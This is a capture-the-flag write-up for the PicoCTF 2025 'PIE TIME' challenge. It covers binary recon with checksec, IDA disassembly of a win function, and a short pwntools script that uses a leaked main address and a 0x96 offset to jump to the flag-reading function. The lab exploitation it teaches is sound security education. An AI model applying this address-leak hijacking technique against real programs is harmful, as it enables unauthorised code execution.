PicoCTF 2025: PIE TIME
Recon
$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped
$ checksec --file=vuln
[*] '/home/qelal/PicoCTF/PIE-TIME/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
PIE is enabled here, so the program will be loaded at a different
memory address each time it is run. Also, addresses of instructions
inside the binary are now offsets, not absolute addresses. Fortunately,
the program leaks the address for symbol main at
runtime:
$ ./vuln
Address of main: 0x55aadb5fd33d
Enter the address to jump to, ex => 0x12345: ff
Your input: ff
Segfault Occurred, incorrect address.
The program behavior is quite simple, it asks for an address and jumps to it. Source code for the challenge was available, but it is easy to work without it here.
Upon inspection in IDA, we see a win function that seems
to open the flag file:
.text:00000000000012A7 endbr64
.text:00000000000012AB push rbp
.text:00000000000012AC mov rbp, rsp
.text:00000000000012AF sub rsp, 10h
.text:00000000000012B3 lea rdi, aYouWon ; "You won!"
.text:00000000000012BA call _puts
.text:00000000000012BF lea rsi, modes ; "r"
.text:00000000000012C6 lea rdi, filename ; "flag.txt"
.text:00000000000012CD call _fopen
.text:00000000000012D2 mov [rbp+stream], rax
.text:00000000000012D6 cmp [rbp+stream], 0
.text:00000000000012DB jnz short loc_12F3
.text:00000000000012DD lea rdi, aCannotOpenFile ; "Cannot open file."
.text:00000000000012E4 call _puts
.text:00000000000012E9 mov edi, 0 ; status
.text:00000000000012EE call _exitWe can note here the offset of the function which is
0x12A7. Also, by taking a look at the main
symbol, we see its offset is 0x133D:
.text:000000000000133D ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:000000000000133D public mainExploit
Having this information we can deduct the space between the two
symbols, by subtracting the two offsets. We find 0x96
bytes.
Now we can deduct the position of the win function at
runtime, by taking main’s address and subtracting
0x96. This can be done in a Pwntools script:
io = start()
main_text = io.recvuntil(b'12345:').split(b'\n')[0].split(b': ')[1].decode()
main_addr = int(main_text, 16)
win_addr = main_addr - 0x96
io.sendline(hex(win_addr).encode())
print(io.recvall())We can execute the exploit and get the flag:
$ python exploit.py REMOTE rescued-float.picoctf.net 52840
b' Your input: 59c1cff1d2a7\nYou won!\npicoCTF{REDACTED}\n\n'